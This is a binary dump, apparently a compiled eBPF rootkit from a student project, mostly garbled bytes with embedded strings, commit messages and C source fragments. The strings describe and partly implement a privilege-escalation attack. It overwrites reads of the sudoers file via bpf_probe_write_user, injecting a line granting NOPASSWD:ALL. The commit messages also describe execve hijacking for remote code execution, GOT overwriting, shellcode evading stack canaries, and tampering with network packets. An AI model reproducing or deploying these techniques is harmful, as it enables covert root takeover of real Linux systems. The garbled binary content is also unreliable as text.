<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%<00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>m<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>$<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>{j<><6A>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00><><EFBFBD><EFBFBD><EFBFBD>y<>h<EFBFBD>8<><38><EFBFBD>}<7D><00><00><00><00><00><00><00>y<00><00> y<00><00> y<00><00> y<00><00> y<00><00> y<00><00> y<00><00> y~<00> y{<00> yx<00>
yu<00> yr<00> yo<00> yl<00> yi<00> yf<00> yc<00> y`<00> y]<00> yZ<00> yW<00> yT<00> yQ<00> yN<00> yK<00> yH<00> yE<00> yB<00> y?<00> y<<00> y9<00> y6<00> y3<00> !y0<00> "y-<00> #y*<00> $y'<00> %y$<00> &y!<00> 'y<00> (y<00> )y<00> *y<00> +y<00> ,y<00> -y <00> .y <00> /y<00> 0y<00> 1yy<>h<EFBFBD><00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD>?<1F>{h<00><><00><><EFBFBD><EFBFBD><00><><00><00>e<00><><EFBFBD><EFBFBD>2<00>0<00>0y<>b<00>!<00>y<><00><00><00><00><00>y<>y<>{`<60>y<>{h<>y<><00><00>H<00><00><00><00>c@y<>`<60>{c<><y<>h<EFBFBD>{0<00><>P<>{ w c`<00><><00><><EFBFBD><EFBFBD>{({<7B>c<>8 0<><30><EFBFBD>{<7B><00><00><00><00><00><00>p<00><00>{j<><6A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD>g <00> m8q<><71><EFBFBD><00>s4q<><71><EFBFBD><00>U1iq<><71><EFBFBD><00>U.mq<><71><EFBFBD><00>U+pq<><71><EFBFBD><00>U(l<00><00>{z<><7A><00><><00><><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD>yyw <00><00>0<00>s<00>d<00><00>c0<><30><EFBFBD><00><00><00><00>cP<><00><00>"<00><00><><EFBFBD><EFBFBD><00><00>c<00><00><00><00>5<00><00>yc<79>G<00> <00>ya<79>R<00><00>$<00>mU<00>,<00><00><><EFBFBD><EFBFBD><00><00><00><00><00>ya<79><00><><EFBFBD><EFBFBD><01><>yc<79><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00><00>e<01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><00>aeag<00>y =<3D><00><00><00>x"=<3D><00>q<> U<00>q6=<00><00><00><00><00>i<>#(i<><00><00><00><00><00><>i<><00>i<> wW<q<>gW<#<00><> <00><00><00><00><><00>A =<00><00><>{Z<><5A><00><00>6<00>C{J<><4A><00> <00>y<><79><EFBFBD>qAX<00><>qAU<01><>DqAU<01><>PqAU<01><>_qAU<01><>PqAU<01><>oqAU<01><>CqAU<01><>_qAU<01><>0<00>y<><79><EFBFBD><00>iq
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
girO!ir k*<2A><>c<1A><>iqgirO!irisgO#g O{:<3A><>a<> g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<> g O{*<2A><><00>a<00><00>A
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><00>4<00><00><00><><EFBFBD><EFBFBD>{<1A><><00>ab<00>) "aa{*<2A><>{*<2A><>=!<00> =<3D><00>y<><79><EFBFBD>6=!V<00>&<00><00><><EFBFBD><EFBFBD>{<1A><><00>=<00>Gy<><79><EFBFBD><00><00> aa{<1A><>ahy<><79><EFBFBD>= <00><00><00>&<00>y<><79><EFBFBD>{z<><7A>y<><79><EFBFBD>y<><79><EFBFBD>s<00><>y<><79><EFBFBD><00><00>)<00><00><00><00><><00><><00>ac<00>*<00><><00>;<3B>y<><79><EFBFBD>=<00><00><00><>=<00><00>y<><79><EFBFBD>i#<00>i<> wW<q"gW<#{:<3A><><00>2g w <00>9[-#f<00><00><19>i<><69><EFBFBD>y<><79><EFBFBD>k a<><61><EFBFBD>kwk
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
y<><79><EFBFBD><00>w0k#<00>w k#kwka<><61><EFBFBD>y<><79><EFBFBD>cy<><79><EFBFBD>cw c y<><79><EFBFBD>cw ca<><61><EFBFBD>cy<><79><EFBFBD>cw c y<><79><EFBFBD>cw ci<>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
i<>(<00><00>i<><00><00>k<00><00>{<1A><>k(
Y<00>*<00><00><><00><00><00><00><00><><00><00><00><00>wW<00><>W<00><><00>wW<00><>W<00><><00>wW<00><>W<00><><00>w<00><00><><EFBFBD><EFBFBD>y<EFBFBD><79><EFBFBD>k
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
i#i$
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
A<00><00><00>P<><00><>'=wy<><79><EFBFBD>g w <00><>-<2D>o<00>s&s%s$s#s"s!s sssssssssssssssssss s s s
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
s sssssssss<00>'y<><79><EFBFBD>m!H<00><>'-<2D>Ey<><79><EFBFBD><00><><EFBFBD><EFBFBD>g w !-<2D>B<00>)s&<00>;s%<00>ds!s <00>ns#s<00>bs<00>gs<00>ass<00>ms <00>sssss <00>us
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>os <00>iss<00>vs<00>rs<00>ps<00> s$ssss s<00>es"ssssss<00>hsss<00>Ts ;<00>&7<><00><00><00>-<00>a<00>5y<><79><EFBFBD><00><>y<><79><EFBFBD><00><00><>Error
Added extraction of original jump instruction and opcodes
2022-03-15 18:36:59 -04:00
TASK: %s
Timer %i to scan at address %lx
Finished extraction of return address from the stack, and libc syscall adress
2022-03-17 19:32:32 -04:00
Failed to insert the return address in bpf map
Final found return address: %lx
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
GOT address: %lx
Updated helpers and added resources to help with lib injection
2022-03-24 15:40:05 -04:00
Finished without findings
Included offset and extraction of interesting functions
2022-03-17 21:41:40 -04:00
PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lxAddress of libc main: %lx
Address of libc_dlopen_mode: %lx
Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.
2022-04-04 17:07:45 -04:00
Address of malloc: %lx
Included offset and extraction of interesting functions
2022-03-17 21:41:40 -04:00
UPROBE activated
Added extraction of original jump instruction and opcodes
2022-03-15 18:36:59 -04:00
Ret is %lxASuccess writting? Should not have happened
ERROR writing: %li
Error reading instruction
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Bound check fail ABDE %i
F, PS:%i, P:%i, DE:%i
GReceived valid TCP packet with payload %s of size %i
HOLD data_end: %i, payload: %i
Control back to main program with retcode %i after expanding %i bytes
Bound check A failed while expanding
Bound check B failed while expanding
Bound check D failed while expanding
Unlikely you are here, but OK
Bound check E failed while expanding
Bound check F failed while expanding
BPF finished with ret %i and payload %s of size %i
BPF finished with error on expansion
Previous length: %i, current length: %i
NEW data_end: %i, payload: %i
And on NEW CTX data_end: %i, payload: %i
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
Error writing to user memory
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Error writing to user memory in additional symbol
Sudo overwritten
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
Overwritting at pid %u, %s
Filename is %s
and program name is %s
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Error writing to user memory
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done
2022-02-06 14:15:57 -05:00
Error reading 1
Error reading 3
Completed execve hijacking, as with special error cases that arise and that are documented in the code.
2022-02-14 17:45:07 -05:00
Error writing to user memory by %s
Error reading
Error reading 1
wError reading test 3
Equal from the start
Error writing to user memory at test by %s
Error reading test 1
Error reading tets 2
Error reading test 3
Error case 2
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
Successful entry call address: %lx
Failed to read entry_call_addr[1]
Added extraction of original jump instruction and opcodes
2022-03-15 18:36:59 -04:00
OFFSET: %x
Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.
2022-04-04 17:07:45 -04:00
OP: %lx
SUM: %lx
OPCODE0: %x
OPCODE1: %x
Finished RELRO adaptation.
2022-04-04 18:04:34 -04:00
OPCODE5: %x
OPCODE6: %x
Finished extraction of stack return address
2022-03-17 13:18:19 -04:00
Found PLT entry
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
GOT_OFFSET: %lx
GOT_ADDR: %lx
Finished RELRO adaptation.
2022-04-04 18:04:34 -04:00
RELRO detected
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
GOT_OFFSET: %lx
Finished extraction of stack return address
2022-03-17 13:18:19 -04:00
GOT_ADDR: %lx
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
GOT_ADDR_LIBC: %lx
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
FAILED TO WRITE JUMP
Success, new GOT is %lxNot the expected syscall
Finished extraction of return address from the stack, and libc syscall adress
2022-03-17 19:32:32 -04:00
Final found libc syscall address: %lx
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Failed to expand a tcp packet reserved bytes by %i
Bound check A failed while expanding
Bound check B failed while expanding
Bound check C failed while expanding
before: %i, checksum %u
after: %i, checksum %u
csum: %u for data_start %u, data_size %i
Invalid attempt to substitute the payload A
Invalid attempt to substitute the payload C
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
Dual BSD/GPLThat is now hiddenosboxes ALL=(ALL:ALL) NOPASSWD:ALL #<00><><00><00><00>P   @ 6(K`@r<00><00><00> <00> <00><00> <00><00>@<00><00><00>
<00><00> <00><00><00>@<00><00>8 @ `<00>&<00>.39 F <00><00>@<00><00><00><00>S[ <00><00>@<00><00><00><00>w!<00><00>"<00>%@ &`<00>&<00><00>(<00><00><00>#<00>$<00>$  <00>' . 2 ),<00>(<00> <00>@<00>` -<00><00><00>.<00>@- .+ /22<00> <00>@D3<00>H@ .1Q 47K
(<00> <00>@<00>``
<00><00><00>d
8 i
# .6q
 9< (<00> <00>@<00>`=<00> ?<00># ?>
@
= .;(  AD<00>(<00> <00>@<00>`<00><00><00><00><00>E<00><00>GF
<EFBFBD><02> .C<00> HK<00>*<00> <00>@<00>`D3<00> .J<00>* LO.<04>!.-%.-@).-<00>-.-<00>1.-4.-@7.-<00>;.-<00>?.-B.-@E.-<00>H.-<00>K.-N.-@Q.-<00>T.-<00>\.-_.-@<00>-<00>b.-<00>e.- .Nh. PSc0j0o0 x0@<00>0`<00>0<00><00>0<00> .R<00>0 T<00>2 <00><00>2W<04>2W<04>2W<00>2X<00>2X <00>2X0<00>2W@<00>2WH<00>2ZP<00>2[`3[<00>3$ 3Y3#3Y!3<00>3<00><00>3X<00>3X<00>3[ 4[@
4Y`4Yd4Yh4Yi4Yj 4Yk$4Yl(4Ym,4Yn04Yo44Xp<00>2Z<00>;4X<00>><00>E] <00>E_>
<00>Ea>!<00>Ec>0<00>Ee Fc>DFh>hFj<00>Fe<00>Fj>"<00>Fn><00>FpGh> 5Gs>,VGu>xGw<00>Gj <00>Gz><00>G|><00>G~<00>G~>H<0E>>H<0E>4H~>6KH<0E>bH~>yH<0E>>G<00>H<0E>>&<00>H<0E><00>H<0E><00>H<0E><00>H<0E>I<0E>I<0E>>51I<0E>HI<0E>>)_I<0E>vI<0E>>*<00>I<0E>><00>I<0E>>3<00>I<0E><00>Ih>
J<0E>>-J<0E>PJpsJ<0E>><00>J<0E><00>J<0E>>$<00>J<0E>>K<0E>+K<0E>>QK<0E>pK<0E><00>Ku<00>K<0E><00>K<0E><00>K<0E>>L<0E><L<0E>>#eL<0E>> <00>L<0E>> <00>L<0E><00>La> M<0E>AM<0E>mM<0E><00>M<0E><00>M<0E><00>M<0E>N<0E>IN<0E>uN<0E><00>N<0E><00>Nw<00>N<0E>%Op>QO<0E>>'}O<0E>>4<00>O<0E><00>O<0E><00>O<0E>P<0E>>:P<0E>_Pp<00>P<0E>>-<00>P<0E><00>P<0E><00>P`<00>P   <00>PU^b
d!f20gb!i<00>k<00>l<00>0m<00>o<00>"qr5tG vU,x<00>y<00>}<00><00><00><00><00><00><00><00><00><00><00><00>6<00><00><00>=G<00><00>&<00><00>&<00><00>&<00><00><00>&<00>;&<00>a5<00><00>&<00><00>)<00><00><00>*<00>.<00>L3<00><00><00><00><00><00><00><00><00><00><00><00><00>$<00>9<00>H<00>\<00>r<00><00>,<00><00><00><00><00><00><00><00><00>$<00>(#<00>K <00>W <00>`
<00>j <00>w <00><00> <00><00> <00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>)<00>A<00>['<00><00>4<00><00>&<00><00>&<00>&<00>(<00>A<00>Y*<00><00>-<00><00>-<00>P{ <00>Pint__ARRAY_SIZE_TYPE____u64long long unsigned intinj_ret_address_datalibc_syscall_addressstack_ret_addressrelro_activegot_addressgot_offsetpadding__s32inj_priv_ret_addresstypemax_entrieskeyvalueinj_ret_addressring_bufferrb_commfs_open_databuffdpidprogram_namefilenameis_sudochar__u32unsigned intfs_priv_openfs_openexec_var_priv_hijack_activeexec_var_hijack_activetrace_event_raw_sched_process_execent__data_loc_filenameold_pid__datatrace_entryflagspreempt_countunsigned shortunsigned charu32pid_t__kernel_pid_tctxhandle_sched_process_exectp/sched/sched_process_exec/home/osboxes/TFG/src/ebpf/include/bpf/sched.h pid_t pid = bpf_get_current_pid_tgid() >> 32; return 0;sys_read_enter_ctxunused__syscall_nrcountlong unsigned intsize_ttp_sys_enter_readtp/syscalls/sys_enter_read/home/osboxes/TFG/src/ebpf/include/bpf/fs.h if (ctx == NULL){ bpf_printk("Error\n"); char *buf = (char*) ctx->buf; int fd = (int) ctx->fd; __u64 pid_tgid = bpf_get_current_pid_tgid(); struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid); if (stored_data == NULL){ struct fs_open_data data = *stored_data; data.fd = fd; data.buf = buf; bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);} sys_read_exit_ctxretlong inttp_sys_exit_readtp/syscalls/sys_exit_read struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid); if (data == NULL || data->buf == NULL){ __u32 pid = data->pid; char msg_overwrite[] = STRING_FS_OVERWRITE; char c_buf[sizeof(msg_overwrite)] = {0}; char sudo_line_overwrite[] = STRING_FS_SUDOERS_ENTRY; if(data->is_sudo==1){ if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){ bpf_printk("Overwritting at pid %u, %s\n", pid, buf); bpf_printk("Filename is %s\n", data->filename); bpf_printk("and program name is %s\n", data->program_name); if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){} if(bpf_probe_write_user((void*)buf, (void*)sudo_line_overwrite, (__u32)STRING_FS_SUDOERS_ENTRY_LEN-1)<0){ bpf_printk("Error writing to user memory\n"); char char_override = '#'; for (int ii = 0; ii<CHARS_TO_OVERRIDE; ii++){ if(bpf_probe_write_user((void*)buf+ STRING_FS_SUDOERS_ENTRY_LEN+ii, (void*)&char_override, (__u32)1)<0){ bpf_printk("Error writing to user memory in additional symbol\n"); bpf_printk("Sudo overwritten\n"); bpf_printk("Error writing to user memory\n");sys_openat_enter_ctxdfdmodeumode_ttp_sys_enter_openattp/syscalls/sys_enter_openatint tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){ char comm[TASK_COMM_LEN] = {0}; int err = bpf_get_current_comm(comm, sizeof(comm)); if(err < 0){ char filename[STRING_FS_SUDOERS_FILE_LEN] = {0}; bpf_probe_read_user(&filename, STRING_FS_SUDOERS_FILE_LEN, (char*)ctx->filename); struct fs_open_data data = { __u32 pid = pid_tgid >> 32; bpf_probe_read(data.filename, STRING_FS_SUDOERS_FILE_LEN, filename); bpf_probe_read(data.program_name, FS_OPEN_DATA_PROGRAM_NAME_SIZE, comm);/home/osboxes/TFG/src/ebpf/include/bpf/../utils/strings.h if (str1[ii] != str2[ii]){sys_execve_enter_ctxargvenvptp_sys_enter_execvetp/syscalls/sys_enter_execve/home/osboxes/TFG/src/ebpf/include/bpf/exec.hint tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) { if(hijacker_state == 1){ unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0}; unsigned char filename[ARGUMENT_LENGTH] = {0}; if(ctx==NULL || ctx->argv == NULL){ if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
:< B<00>I<00>*M.Q<00>0ULh<00><0E>h<00><02>)Dp lD<00> p0D<00><1E>8D<00><19>@D<00><16>HD<00> <0B>XD<00><1E>`D?<00>D~ <00>D<00> D<00> $D<00> D0D<00>,XD/<01>bgD<00><16>D D|8DPD<00>HXD<00>H`D<00> HhD hxD$
p<00>DT
t<00>D<00>
|XD<00><0E>`D<00><08>xD<00>D<00> <00>D<00> <00>D<00>0<00>D<00>%<00>D<00> D<00>  D<00>00D<00>%@D<00> XD<00> pD<00>0<00>D<00>%<00>D<00> <00>D<00> <00>D<00>0<00>D<00>%<00>D<00> <00>D<00> D<00>0 D<00>%0D<00> HD<00> `D<00>0pD<00>%<00>D<00> <00>D<00> <00>D<00>0<00>D<00>%<00>D<00> <00>D<00> D<00>0D<00>% D<00> 8D<00> PD<00>0`D<00>%pD<00> <00>D<00> <00>D<00>0<00>D<00>%<00>D<00> <00>D<00> <00>D<00>0D<00>%D<00> (D<00> @D<00>0PD<00>%`D<00> xD<00> <00>D<00>0<00>D<00>%<00>D<00> <00>D<00> <00>D<00>0<00>D<00>%D<00> D<00> 0D<00>0@D<00>%PD<00> hD<00> <00>D<00>0<00>D<00>%<00>D<00> <00>D<00> <00>D<00>0<00>D<00>%<00>D<00> D<00>  D TPDGX<00>D{\<00>D<00>D<00>`<00>D<00>`<00>D<01>D <0C> D <0C>(D<00> <0A>hD<00><0E><00>D<00><1C><00>D<00> <09><00>D# <10><00>D<00>D# <10><00>D# <10><00>D<00> <11><00>D<00> <09> D
d<00>
8D<00>
<00>D<00><16>(D<00>
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<EFBFBD>@DHD <0F>xD9 <08><00>DJ
<EFBFBD><00>D L<><00>DJ
<EFBFBD><00>D <05><00>D<00> <19><00>D<00> <1A><00>D<00> <20><00>D<00> <19> D <05>8D<00> <19>PDJ
<EFBFBD>XD_ <05>h<00> <00> pp<00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00> <00> p<00> <00> p<00> <00> p<00> <00> p <00> <00> p(<00> <00> p0<00> <00> p8<00> <00> p@<00> <00> pH<00> <00> pP<00> <00> pX<00> <00> p`<00> <00> ph<00> <00> pp<00> <00> px<00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00>D<00>D < IY <00> Y <00>Y <00> d0Y <00> d@Y <00> x<00>Y <13><00>Y K<12><00>Y K<1A>Y K<08>Y s<08>(Y s<08>0Y <00> <09>PY <00>=<3D>hY <00><08>xY <00><08><00>Y ( <09><00>Y QP0Y <00>\8Y <00>\@Y <00><14>HY <00><13>PY <00><1A>XY <00>&<26>pY xY (<08><00>Y (<08><00>Y \ <09><00>Y <00><08><00>Y <00><08><00>Y <00> <09><00>Y <00>Y <00>p<00>Y *<2A>Y <08> Y <08>0Y <00> <09>`Y <00>*<2A>hY <00><08><00>Y <00><08><00>Y - <09><00>Y <14><00>Y <00><13>0Y <00><14><00>Y @<40><00>Y <14><00>Y <08><00>Y <08><00>Y U <09><00>Y |<<3C><00>Y |<08>Y |<08>Y <00> <09>8Y  HY <00>+<2B>`Y <00><08>pY <00><08>xY <00> <09><00>Y #/<00>Y #<00>Y #<00>Y _ <00>Y <00>Y <00>Y <00>Y \  Y <00>((Y <00>(0Y <00> 0PY <00>+4`Y <00> 0hY <00> 4<00>Y H'H<00>Y HH<00><00><00>1h<00>H#d<00><00>
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
p0<00>8<00> th<00>pxp<00> <00> px<00><00><00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00> <00> p<00><00><00><00> <00> p<00><00><05>0<00><00> <0B>8<00><00><05>h<00><05><00><00><00><05><00><00> <09><00><00><00><00> <09><00><00>e-<2D><00><00><00>1<00><00><00><00><00> <00><00> 0<00>+HX<00>t Xh<00><00>5`<00><00>+H<00><00><00>`<00><00><00>`<00><00> d<00><00>=<05><00><00>e<05><00><00>8<>0<00><00>><3E>8<00><00><05>h<00>p<00><00><05><00><00>;<05><00><00>m<05><00><00><00><05><00><00><05>`<00><08>h<00><17>x<00>/<2F><00><00>]7<><00><00> <00><00>> <00>]><00> <00>] 0<00><00> (8<00><00>7$P<00><00>5$X<00><00>B$`<00><00>$h<00><00> (<00><00>7 ,<00><00>l 4<00><00><00>>H<00><00>l 4<00><00><00> H<00><00><00> P<00>7L<00>\+< <00>BL(<00>L0<00><00> PP<00>7 Th<00><00><00><00> h<00><00><00> h<00><00><00><00><00> t<00><00><00> x<00><00>(<0F><00><00>V <0C> <00>V <0C>(<00><00> <0A>X<00>`<00><00> <0A>x<00> <0A><00><00>U ?<3F><00><00>U <09><00><00><00> <09><00><00><00> <0A><00><00><00> <1A><00><00><00> <0F><00><00><00> <1A><00><00>*!T<> <00><00>! <0A>( <00><00>! P <00>!"` <00>K",h <00>K"#p <00><00>" x <00><00>" <00> <00><00>" <00> <00><00>"$<00> <00><00>! <00> <00><00>" (<00> <00><00>! <00> <00>.# ,
<00>e <0C>
<00> <09>0
<00>8
<00> <09>H
<00>e-<2D>P
<00><00>1h
<00>p
<00><00> <00>
<00><00> <00>
<00>+H<00>
<00>t X<00>
<00><00>5` <00>+H <00><00>` <00><00>` <00>=<05>H <00>e<05>p <00><00>8<><00> <00><00>><3E><00> <00><00><05><00> <00><00> <00><00><05><00> <00>;<05> <00>m<05>0 <00><00><05>X <00><00><05><00> <00><08><00> <00><17><00> <00>/<2F><00> <00>]7<>0 <00> P <00>> X <00>l 4x <00><00>>H<00> <00>l 4<00> <00><00> H<00> <00><00> P<00> <00>7L<00> <00>\+<<00> <00>BL<00> <00>L<00> <00><00> P<00>7 T <00> dP<00>]>h<00>p<00>] <00><00><00> (<00><00><00>7$<00><00><00>5$<00><00><00>B$<00><00><00>$<00><00><00> (<00><00>7 ,<00><00><00><00> h<00><00> h(<00>0<00><00> tH<00><00> xp<00>(<0F><00><00><00><00>V <0C><00><00>V <0C><00><00><00><00><00> <0A><00><00> <0A><00><00> <0A>0<00>U ?<3F>H<00>U <09>h<00><00> <09>0<00><00> <0A>h<00><00> <1A>p<00><00> <0F><00><00><00> <1A><00><00>*!T<><00><00><00>! <0A><00><00><00>! <00><00>!"<00><00>K",<00><00>K"#<00><00>" <00><00>" <00><00>"  <00><00>"$0<00><00>! 8<00><00>" (X<00><00>! p<00>.# ,<00><00>e <0C><00><00> <09><00><00><00><00> <09><00><00>e-<2D><00><00><00>1<00><00><00><00> <00><00> @<00>+Hp<00>t Xx<00><00>5`<00><00>+H<00><00><00>`<00><00><00>`<00><00>=<05><00><00>e<05><00><00>8<><00><00>><3E> <00><00><05>P<00>X<00><00><05>p<00>;<05><00><00>m<05><00><00><00><05><00><00><00><05>@<00><08>P<00><17>`<00>/<2F><00><00>]7<><00><00> <00><00>> <00><00>l 4<00><00>>H <00>l 4(<00><00> H8<00><00> P@<00>7LX<00>\+<`<00>BLh<00>Lp<00><00> P<00><00>7 T<00><00> d<00><00>]><00><00><00>] <00><00> (<00><00>7$0<00><00>5$8<00><00>B$@<00><00>$H<00><00> (h<00>7 ,<00><00><00><00><00> h<00><00><00> h<00><00><00><00><00> t<00><00><00> x<00>(<0F><00> <00>V <0C>@<00>V <0C>P<00>X<00><00> <0A>p<00> <0A><00><00><00> <0A><00><00>U ?<3F><00><00>U <09><00><00><00> <09><00><00><00> <0A><00><00><00> <1A><00><00> <0F><00><00> <1A><00>*!T<>@<00><00>! <0A>H<00><00>! p<00>!"<00><00>K",<00><00>K"#<00><00><00>" <00><00><00>" <00><00><00>" <00><00><00>"$<00><00><00>! <00><00><00>" (<00><00><00>! <00>.# ,(<00>e <0C>0<00> <09>P<00>X<00> <09>h<00>e-<2D>p<00><00>1<00><00><00><00><00> <00><00><00> <00><00>+H<00>t X<00><00>5` <00>+H(<00><00>`8<00><00>`@<00>=<05>h<00>e<05><00><00><00>8<><00><00><00>><3E><00><00><00><05><00><00><00><00><00><05><00>;<05>(<00>m<05>P<00><00><05>x<00><00><05><00><00><08><00><00><17><00><00>/<2F><00>]7<>P<00> p<00>> x<00>l 4<00><00><00>>H<00><00>l 4<00><00><00> H<00><00><00> P<00><00>7L<00><00>\+<<00><00>BL<00><00>L<00><00> P <00>7 T@<00> dp<00>]><00><00><00><00>] <00><00><00> (<00><00><00>7$<00><00><00>5$<00><00><00>B$<00><00><00>$<00><00><00> (<00><00>7 , <00>0 <00><00> h8 <00><00> hH <00>P <00><00> th <00><00> x<00> <00>(<0F><00> <00><00> <00>V <0C><00> <00>V <0C><00> <00><00> <00><00> <0A>!<00> <0A>0!<00><00> <0A>P!<00>U ?<3F>h!<00>U <09><00>!<00><00> <09>P"<00><00> <0A><00>"<00><00> <1A><00>"<00><00> <0F><00>"<00><00> <1A><00>"<00>*!T<><00>"<00><00>! <0A><00>"<00><00>! 